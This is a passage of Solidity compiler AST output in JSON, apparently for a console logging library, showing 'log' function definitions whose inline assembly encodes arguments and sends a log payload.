Name","src":"168976:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":39282,"mutability":"mutable","name":"p2","nameLocation":"168996:2:22","nodeType":"VariableDeclaration","scope":39316,"src":"168988:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39281,"name":"bytes32","nodeType":"ElementaryTypeName","src":"168988:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":39284,"mutability":"mutable","name":"p3","nameLocation":"169005:2:22","nodeType":"VariableDeclaration","scope":39316,"src":"169000:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":39283,"name":"bool","nodeType":"ElementaryTypeName","src":"169000:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"168966:42:22"},"returnParameters":{"id":39286,"nodeType":"ParameterList","parameters":[],"src":"169023:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":39356,"nodeType":"FunctionDefinition","src":"170288:1334:22","nodes":[],"body":{"id":39355,"nodeType":"Block","src":"170360:1262:22","nodes":[],"statements":[{"assignments":[39328],"declarations":[{"constant":false,"id":39328,"mutability":"mutable","name":"m0","nameLocation":"170378:2:22","nodeType":"VariableDeclaration","scope":39355,"src":"170370:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39327,"name":"bytes32","nodeType":"ElementaryTypeName","src":"170370:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39329,"nodeType":"VariableDeclarationStatement","src":"170370:10:22"},{"assignments":[39331],"declarations":[{"constant":false,"id":39331,"mutability":"mutable","name":"m1","nameLocation":"170398:2:22","nodeType":"VariableDeclaration","scope":39355,"src":"170390:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39330,"name":"bytes32","nodeType":"ElementaryTypeName","src":"170390:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39332,"nodeType":"VariableDeclarationStatement","src":"170390:10:22"},{"assignments":[39334],"declarations":[{"constant":false,"id":39334,"mutability":"mutable","name":"m2","nameLocation":"170418:2:22","nodeType":"VariableDeclaration","scope":39355,"src":"170410:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39333,"name":"bytes32","nodeType":"ElementaryTypeName","src":"170410:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39335,"nodeType":"VariableDeclarationStatement","src":"170410:10:22"},{"assignments":[39337],"declarations":[{"constant":false,"id":39337,"mutability":"mutable","name":"m3","nameLocation":"170438:2:22","nodeType":"VariableDeclaration","scope":39355,"src":"170430:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39336,"name":"bytes32","nodeType":"ElementaryTypeName","src":"170430:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39338,"nodeType":"VariableDeclarationStatement","src":"170430:10:22"},{"assignments":[39340],"declarations":[{"constant":false,"id":39340,"mutability":"mutable","name":"m4","nameLocation":"170458:2:22","nodeType":"VariableDeclaration","scope":39355,"src":"170450:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39339,"name":"bytes32","nodeType":"ElementaryTypeName","src":"170450:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39341,"nodeType":"VariableDeclarationStatement","src":"170450:10:22"},{"assignments":[39343],"declarations":[{"constant":false,"id":39343,"mutability":"mutable","name":"m5","nameLocation":"170478:2:22","nodeType":"VariableDeclaration","scope":39355,"src":"170470:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39342,"name":"bytes32","nodeType":"ElementaryTypeName","src":"170470:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39344,"nodeType":"VariableDeclarationStatement","src":"170470:10:22"},{"assignments":[39346],"declarations":[{"constant":false,"id":39346,"mutability":"mutable","name":"m6","nameLocation":"170498:2:22","nodeType":"VariableDeclaration","scope":39355,"src":"170490:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39345,"name":"bytes32","nodeType":"ElementaryTypeName","src":"170490:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39347,"nodeType":"VariableDeclarationStatement","src":"170490:10:22"},{"AST":{"nativeSrc":"170519:828:22","nodeType":"YulBlock","src":"170519:828:22","statements":[{"body":{"nativeSrc":"170562:313:22","nodeType":"YulBlock","src":"170562:313:22","statements":[{"nativeSrc":"170580:15:22","nodeType":"YulVariableDeclaration","src":"170580:15:22","value":{"kind":"number","nativeSrc":"170594:1:22","nodeType":"YulLiteral","src":"170594:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"170584:6:22","nodeType":"YulTypedName","src":"170584:6:22","type":""}]},{"body":{"nativeSrc":"170665:40:22","nodeType":"YulBlock","src":"170665:40:22","statements":[{"body":{"nativeSrc":"170694:9:22","nodeType":"YulBlock","src":"170694:9:22","statements":[{"nativeSrc":"170696:5:22","nodeType":"YulBreak","src":"170696:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"170682:6:22","nodeType":"YulIdentifier","src":"170682:6:22"},{"name":"w","nativeSrc":"170690:1:22","nodeType":"YulIdentifier","src":"170690:1:22"}],"functionName":{"name":"byte","nativeSrc":"170677:4:22","nodeType":"YulIdentifier","src":"170677:4:22"},"nativeSrc":"170677:15:22","nodeType":"YulFunctionCall","src":"170677:15:22"}],"functionName":{"name":"iszero","nativeSrc":"170670:6:22","nodeType":"YulIdentifier","src":"170670:6:22"},"nativeSrc":"170670:23:22","nodeType":"YulFunctionCall","src":"170670:23:22"},"nativeSrc":"170667:36:22","nodeType":"YulIf","src":"170667:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"170622:6:22","nodeType":"YulIdentifier","src":"170622:6:22"},{"kind":"number","nativeSrc":"170630:4:22","nodeType":"YulLiteral","src":"170630:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"170619:2:22","nodeType":"YulIdentifier","src":"170619:2:22"},"nativeSrc":"170619:16:22","nodeType":"YulFunctionCall","src":"170619:16:22"},"nativeSrc":"170612:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"170636:28:22","nodeType":"YulBlock","src":"170636:28:22","statements":[{"nativeSrc":"170638:24:22","nodeType":"YulAssignment","src":"170638:24:22","value":{"arguments":[{"name":"length","nativeSrc":"170652:6:22","nodeType":"YulIdentifier","src":"170652:6:22"},{"kind":"number","nativeSrc":"170660:1:22","nodeType":"YulLiteral","src":"170660:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"170648:3:22","nodeType":"YulIdentifier","src":"170648:3:22"},"nativeSrc":"170648:14:22","nodeType":"YulFunctionCall","src":"170648:14:22"},"variableNames":[{"name":"length","nativeSrc":"170638:6:22","nodeType":"YulIdentifier","src":"170638:6:22"}]}]},"pre":{"nativeSrc":"170616:2:22","nodeType":"YulBlock","src":"170616:2:22","statements":[]},"src":"170612:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"170729:3:22","nodeType":"YulIdentifier","src":"170729:3:22"},{"name":"length","nativeSrc":"170734:6:22","nodeType":"YulIdentifier","src":"170734:6:22"}],"functionName":{"name":"mstore","nativeSrc":"170722:6:22","nodeType":"YulIdentifier","src":"170722:6:22"},"nativeSrc":"170722:19:22","nodeType":"YulFunctionCall","src":"170722:19:22"},"nativeSrc":"170722:19:22","nodeType":"YulExpressionStatement","src":"170722:19:22"},{"nativeSrc":"170758:37:22","nodeType":"YulVariableDeclaration","src":"170758:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"170775:3:22","nodeType":"YulLiteral","src":"170775:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"170784:1:22","nodeType":"YulLiteral","src":"170784:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"170787:6:22","nodeType":"YulIdentifier","src":"170787:6:22"}],"functionName":{"name":"shl","nativeSrc":"170780:3:22","nodeType":"YulIdentifier","src":"170780:3:22"},"nativeSrc":"170780:14:22","nodeType":"YulFunctionCall","src":"170780:14:22"}],"functionName":{"name":"sub","nativeSrc":"170771:3:22","nodeType":"YulIdentifier","src":"170771:3:22"},"nativeSrc":"170771:24:22","nodeType":"YulFunctionCall","src":"170771:24:22"},"variables":[{"name":"shift","nativeSrc":"170762:5:22","nodeType":"YulTypedName","src":"170762:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"170823:3:22","nodeType":"YulIdentifier","src":"170823:3:22"},{"kind":"number","nativeSrc":"170828:4:22","nodeType":"YulLiteral","src":"170828:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"170819:3:22","nodeType":"YulIdentifier","src":"170819:3:22"},"nativeSrc":"170819:14:22","nodeType":"YulFunctionCall","src":"170819:14:22"},{"arguments":[{"name":"shift","nativeSrc":"170839:5:22","nodeType":"YulIdentifier","src":"170839:5:22"},{"arguments":[{"name":"shift","nativeSrc":"170850:5:22","nodeType":"YulIdentifier","src":"170850:5:22"},{"name":"w","nativeSrc":"170857:1:22","nodeType":"YulIdentifier","src":"170857:1:22"}],"functionName":{"name":"shr","nativeSrc":"170846:3:22","nodeType":"YulIdentifier","src":"170846:3:22"},"nativeSrc":"170846:13:22","nodeType":"YulFunctionCall","src":"170846:13:22"}],"functionName":{"name":"shl","nativeSrc":"170835:3:22","nodeType":"YulIdentifier","src":"170835:3:22"},"nativeSrc":"170835:25:22","nodeType":"YulFunctionCall","src":"170835:25:22"}],"functionName":{"name":"mstore","nativeSrc":"170812:6:22","nodeType":"YulIdentifier","src":"170812:6:22"},"nativeSrc":"170812:49:22","nodeType":"YulFunctionCall","src":"170812:49:22"},"nativeSrc":"170812:49:22","nodeType":"YulExpressionStatement","src":"170812:49:22"}]},"name":"writeString","nativeSrc":"170533:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"170554:3:22","nodeType":"YulTypedName","src":"170554:3:22","type":""},{"name":"w","nativeSrc":"170559:1:22","nodeType":"YulTypedName","src":"170559:1:22","type":""}],"src":"170533:342:22"},{"nativeSrc":"170888:17:22","nodeType":"YulAssignment","src":"170888:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"170900:4:22","nodeType":"YulLiteral","src":"170900:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"170894:5:22","nodeType":"YulIdentifier","src":"170894:5:22"},"nativeSrc":"170894:11:22","nodeType":"YulFunctionCall","src":"170894:11:22"},"variableNames":[{"name":"m0","nativeSrc":"170888:2:22","nodeType":"YulIdentifier","src":"170888:2:22"}]},{"nativeSrc":"170918:17:22","nodeType":"YulAssignment","src":"170918:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"170930:4:22","nodeType":"YulLiteral","src":"170930:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"170924:5:22","nodeType":"YulIdentifier","src":"170924:5:22"},"nativeSrc":"170924:11:22","nodeType":"YulFunctionCall","src":"170924:11:22"},"variableNames":[{"name":"m1","nativeSrc":"170918:2:22","nodeType":"YulIdentifier","src":"170918:2:22"}]},{"nativeSrc":"170948:17:22","nodeType":"YulAssignment","src":"170948:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"170960:4:22","nodeType":"YulLiteral","src":"170960:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"170954:5:22","nodeType":"YulIdentifier","src":"170954:5:22"},"nativeSrc":"170954:11:22","nodeType":"YulFunctionCall","src":"170954:11:22"},"variableNames":[{"name":"m2","nativeSrc":"170948:2:22","nodeType":"YulIdentifier","src":"170948:2:22"}]},{"nativeSrc":"170978:17:22","nodeType":"YulAssignment","src":"170978:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"170990:4:22","nodeType":"YulLiteral","src":"170990:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"170984:5:22","nodeType":"YulIdentifier","src":"170984:5:22"},"nativeSrc":"170984:11:22","nodeType":"YulFunctionCall","src":"170984:11:22"},"variableNames":[{"name":"m3","nativeSrc":"170978:2:22","nodeType":"YulIdentifier","src":"170978:2:22"}]},{"nativeSrc":"171008:17:22","nodeType":"YulAssignment","src":"171008:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"171020:4:22","nodeType":"YulLiteral","src":"171020:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"171014:5:22","nodeType":"YulIdentifier","src":"171014:5:22"},"nativeSrc":"171014:11:22","nodeType":"YulFunctionCall","src":"171014:11:22"},"variableNames":[{"name":"m4","nativeSrc":"171008:2:22","nodeType":"YulIdentifier","src":"171008:2:22"}]},{"nativeSrc":"171038:17:22","nodeType":"YulAssignment","src":"171038:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"171050:4:22","nodeType":"YulLiteral","src":"171050:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"171044:5:22","nodeType":"YulIdentifier","src":"171044:5:22"},"nativeSrc":"171044:11:22","nodeType":"YulFunctionCall","src":"171044:11:22"},"variableNames":[{"name":"m5","nativeSrc":"171038:2:22","nodeType":"YulIdentifier","src":"171038:2:22"}]},{"nativeSrc":"171068:17:22","nodeType":"YulAssignment","src":"171068:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"171080:4:22","nodeType":"YulLiteral","src":"171080:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"171074:5:22","nodeType":"YulIdentifier","src":"171074:5:22"},"nativeSrc":"171074:11:22","nodeType":"YulFunctionCall","src":"171074:11:22"},"variableNames":[{"name":"m6","nativeSrc":"171068:2:22","nodeType":"YulIdentifier","src":"171068:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"171168:4:22","nodeType":"YulLiteral","src":"171168:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"171174:10:22","nodeType":"YulLiteral","src":"171174:10:22","type":"","value":"0xc21f64c7"}],"functionName":{"name":"mstore","nativeSrc":"171161:6:22","nodeType":"YulIdentifier","src":"171161:6:22"},"nativeSrc":"171161:24:22","nodeType":"YulFunctionCall","src":"171161:24:22"},"nativeSrc":"171161:24:22","nodeType":"YulExpressionStatement","src":"171161:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"171205:4:22","nodeType":"YulLiteral","src":"171205:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"171211:2:22","nodeType":"YulIdentifier","src":"171211:2:22"}],"functionName":{"name":"mstore","nativeSrc":"171198:6:22","nodeType":"YulIdentifier","src":"171198:6:22"},"nativeSrc":"171198:16:22","nodeType":"YulFunctionCall","src":"171198:16:22"},"nativeSrc":"171198:16:22","nodeType":"YulExpressionStatement","src":"171198:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"171234:4:22","nodeType":"YulLiteral","src":"171234:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"171240:2:22","nodeType":"YulIdentifier","src":"171240:2:22"}],"functionName":{"name":"mstore","nativeSrc":"171227:6:22","nodeType":"YulIdentifier","src":"171227:6:22"},"nativeSrc":"171227:16:22","nodeType":"YulFunctionCall","src":"171227:16:22"},"nativeSrc":"171227:16:22","nodeType":"YulExpressionStatement","src":"171227:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"171263:4:22","nodeType":"YulLiteral","src":"171263:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"171269:4:22","nodeType":"YulLiteral","src":"171269:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"171256:6:22","nodeType":"YulIdentifier","src":"171256:6:22"},"nativeSrc":"171256:18:22","nodeType":"YulFunctionCall","src":"171256:18:22"},"nativeSrc":"171256:18:22","nodeType":"YulExpressionStatement","src":"171256:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"171294:4:22","nodeType":"YulLiteral","src":"171294:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"171300:2:22","nodeType":"YulIdentifier","src":"171300:2:22"}],"functionName":{"name":"mstore","nativeSrc":"171287:6:22","nodeType":"YulIdentifier","src":"171287:6:22"},"nativeSrc":"171287:16:22","nodeType":"YulFunctionCall","src":"171287:16:22"},"nativeSrc":"171287:16:22","nodeType":"YulExpressionStatement","src":"171287:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"171328:4:22","nodeType":"YulLiteral","src":"171328:4:22","type":"","value":"0xa0"},{"name":"p2","nativeSrc":"171334:2:22","nodeType":"YulIdentifier","src":"171334:2:22"}],"functionName":{"name":"writeString","nativeSrc":"171316:11:22","nodeType":"YulIdentifier","src":"171316:11:22"},"nativeSrc":"171316:21:22","nodeType":"YulFunctionCall","src":"171316:21:22"},"nativeSrc":"171316:21:22","nodeType":"YulExpressionStatement","src":"171316:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":39328,"isOffset":false,"isSlot":false,"src":"170888:2:22","valueSize":1},{"declaration":39331,"isOffset":false,"isSlot":false,"src":"170918:2:22","valueSize":1},{"declaration":39334,"isOffset":false,"isSlot":false,"src":"170948:2:22","valueSize":1},{"declaration":39337,"isOffset":false,"isSlot":false,"src":"170978:2:22","valueSize":1},{"declaration":39340,"isOffset":false,"isSlot":false,"src":"171008:2:22","valueSize":1},{"declaration":39343,"isOffset":false,"isSlot":false,"src":"171038:2:22","valueSize":1},{"declaration":39346,"isOffset":false,"isSlot":false,"src":"171068:2:22","valueSize":1},{"declaration":39318,"isOffset":false,"isSlot":false,"src":"171211:2:22","valueSize":1},{"declaration":39320,"isOffset":false,"isSlot":false,"src":"171240:2:22","valueSize":1},{"declaration":39322,"isOffset":false,"isSlot":false,"src":"171334:2:22","valueSize":1},{"declaration":39324,"isOffset":false,"isSlot":false,"src":"171300:2:22","valueSize":1}],"id":39348,"nodeType":"InlineAssembly","src":"170510:837:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":39350,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"171372:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":39351,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"171378:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":39349,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"171356:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":39352,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"171356:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":39353,"nodeType":"ExpressionStatement","src":"171356:27:22"},{"AST":{"nativeSrc":"171402:214:22","nodeType":"YulBlock","src":"171402:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"171423:4:22","nodeType":"YulLiteral","src":"171423:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"171429:2:22","nodeType":"YulIdentifier","src":"171429:2:22"}],"functionName":{"name":"mstore","nativeSrc":"171416:6:22","nodeType":"YulIdentifier","src":"171416:6:22"},"nativeSrc":"171416:16:22","nodeType":"YulFunctionCall","src":"171416:16:22"},"nativeSrc":"171416:16:22","nodeType":"YulExpressionStatement","src":"171416:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"171452:4:22","nodeType":"YulLiteral","src":"171452:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"171458:2:22","nodeType":"YulIdentifier","src":"171458:2:22"}],"functionName":{"name":"mstore","nativeSrc":"171445:6:22","nodeType":"YulIdentifier","src":"171445:6:22"},"nativeSrc":"171445:16:22","nodeType":"YulFunctionCall","src":"171445:16:22"},"nativeSrc":"171445:16:22","nodeType":"YulExpressionStatement","src":"171445:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"171481:4:22","nodeType":"YulLiteral","src":"171481:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"171487:2:22","nodeType":"YulIdentifier","src":"171487:2:22"}],"functionName":{"name":"mstore","nativeSrc":"171474:6:22","nodeType":"YulIdentifier","src":"171474:6:22"},"nativeSrc":"171474:16:22","nodeType":"YulFunctionCall","src":"171474:16:22"},"nativeSrc":"171474:16:22","nodeType":"YulExpressionStatement","src":"171474:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"171510:4:22","nodeType":"YulLiteral","src":"171510:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"171516:2:22","nodeType":"YulIdentifier","src":"171516:2:22"}],"functionName":{"name":"mstore","nativeSrc":"171503:6:22","nodeType":"YulIdentifier","src":"171503:6:22"},"nativeSrc":"171503:16:22","nodeType":"YulFunctionCall","src":"171503:16:22"},"nativeSrc":"171503:16:22","nodeType":"YulExpressionStatement","src":"171503:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"171539:4:22","nodeType":"YulLiteral","src":"171539:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"171545:2:22","nodeType":"YulIdentifier","src":"171545:2:22"}],"functionName":{"name":"mstore","nativeSrc":"171532:6:22","nodeType":"YulIdentifier","src":"171532:6:22"},"nativeSrc":"171532:16:22","nodeType":"YulFunctionCall","src":"171532:16:22"},"nativeSrc":"171532:16:22","nodeType":"YulExpressionStatement","src":"171532:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"171568:4:22","nodeType":"YulLiteral","src":"171568:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"171574:2:22","nodeType":"YulIdentifier","src":"171574:2:22"}],"functionName":{"name":"mstore","nativeSrc":"171561:6:22","nodeType":"YulIdentifier","src":"171561:6:22"},"nativeSrc":"171561:16:22","nodeType":"YulFunctionCall","src":"171561:16:22"},"nativeSrc":"171561:16:22","nodeType":"YulExpressionStatement","src":"171561:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"171597:4:22","nodeType":"YulLiteral","src":"171597:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"171603:2:22","nodeType":"YulIdentifier","src":"171603:2:22"}],"functionName":{"name":"mstore","nativeSrc":"171590:6:22","nodeType":"YulIdentifier","src":"171590:6:22"},"nativeSrc":"171590:16:22","nodeType":"YulFunctionCall","src":"171590:16:22"},"nativeSrc":"171590:16:22","nodeType":"YulExpressionStatement","src":"171590:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":39328,"isOffset":false,"isSlot":false,"src":"171429:2:22","valueSize":1},{"declaration":39331,"isOffset":false,"isSlot":false,"src":"171458:2:22","valueSize":1},{"declaration":39334,"isOffset":false,"isSlot":false,"src":"171487:2:22","valueSize":1},{"declaration":39337,"isOffset":false,"isSlot":false,"src":"171516:2:22","valueSize":1},{"declaration":39340,"isOffset":false,"isSlot":false,"src":"171545:2:22","valueSize":1},{"declaration":39343,"isOffset":false,"isSlot":false,"src":"171574:2:22","valueSize":1},{"declaration":39346,"isOffset":false,"isSlot":false,"src":"171603:2:22","valueSize":1}],"id":39354,"nodeType":"InlineAssembly","src":"171393:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"170297:3:22","parameters":{"id":39325,"nodeType":"ParameterList","parameters":[{"constant":false,"id":39318,"mutability":"mutable","name":"p0","nameLocation":"170306:2:22","nodeType":"VariableDeclaration","scope":39356,"src":"170301:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":39317,"name":"bool","nodeType":"ElementaryTypeName","src":"170301:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":39320,"mutability":"mutable","name":"p1","nameLocation":"170318:2:22","nodeType":"VariableDeclaration","scope":39356,"src":"170310:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":39319,"name":"address","nodeType":"ElementaryTypeName","src":"170310:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":39322,"mutability":"mutable","name":"p2","nameLocation":"170330:2:22","nodeType":"VariableDeclaration","scope":39356,"src":"170322:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39321,"name":"bytes32","nodeType":"ElementaryTypeName","src":"170322:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":39324,"mutability":"mutable","name":"p3","nameLocation":"170342:2:22","nodeType":"VariableDeclaration","scope":39356,"src":"170334:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":39323,"name":"uint256","nodeType":"ElementaryTypeName","src":"170334:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"170300:45:22"},"returnParameters":{"id":39326,"nodeType":"ParameterList","parameters":[],"src":"170360:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":39402,"nodeType":"FunctionDefinition","src":"171628:1530:22","nodes":[],"body":{"id":39401,"nodeType":"Block","src":"171700:1458:22","nodes":[],"statements":[{"assignments":[39368],"declarations":[{"constant":false,"id":39368,"mutability":"mutable","name":"m0","nameLocation":"171718:2:22","nodeType":"VariableDeclaration","scope":39401,"src":"171710:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39367,"name":"bytes32","nodeType":"ElementaryTypeName","src":"171710:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39369,"nodeType":"VariableDeclarationStatement","src":"171710:10:22"},{"assignments":[39371],"declarations":[{"constant":false,"id":39371,"mutability":"mutable","name":"m1","nameLocation":"171738:2:22","nodeType":"VariableDeclaration","scope":39401,"src":"171730:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39370,"name":"bytes32","nodeType":"ElementaryTypeName","src":"171730:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39372,"nodeType":"VariableDeclarationStatement","src":"171730:10:22"},{"assignments":[39374],"declarations":[{"constant":false,"id":39374,"mutability":"mutable","name":"m2","nameLocation":"171758:2:22","nodeType":"VariableDeclaration","scope":39401,"src":"171750:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39373,"name":"bytes32","nodeType":"ElementaryTypeName","src":"171750:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39375,"nodeType":"VariableDeclarationStatement","src":"171750:10:22"},{"assignments":[39377],"declarations":[{"constant":false,"id":39377,"mutability":"mutable","name":"m3","nameLocation":"171778:2:22","nodeType":"VariableDeclaration","scope":39401,"src":"171770:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39376,"name":"bytes32","nodeType":"ElementaryTypeName","src":"171770:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39378,"nodeType":"VariableDeclarationStatement","src":"171770:10:22"},{"assignments":[39380],"declarations":[{"constant":false,"id":39380,"mutability":"mutable","name":"m4","nameLocation":"171798:2:22","nodeType":"VariableDeclaration","scope":39401,"src":"171790:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39379,"name":"bytes32","nodeType":"ElementaryTypeName","src":"171790:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39381,"nodeType":"VariableDeclarationStatement","src":"171790:10:22"},{"assignments":[39383],"declarations":[{"constant":false,"id":39383,"mutability":"mutable","name":"m5","nameLocation":"171818:2:22","nodeType":"VariableDeclaration","scope":39401,"src":"171810:10:2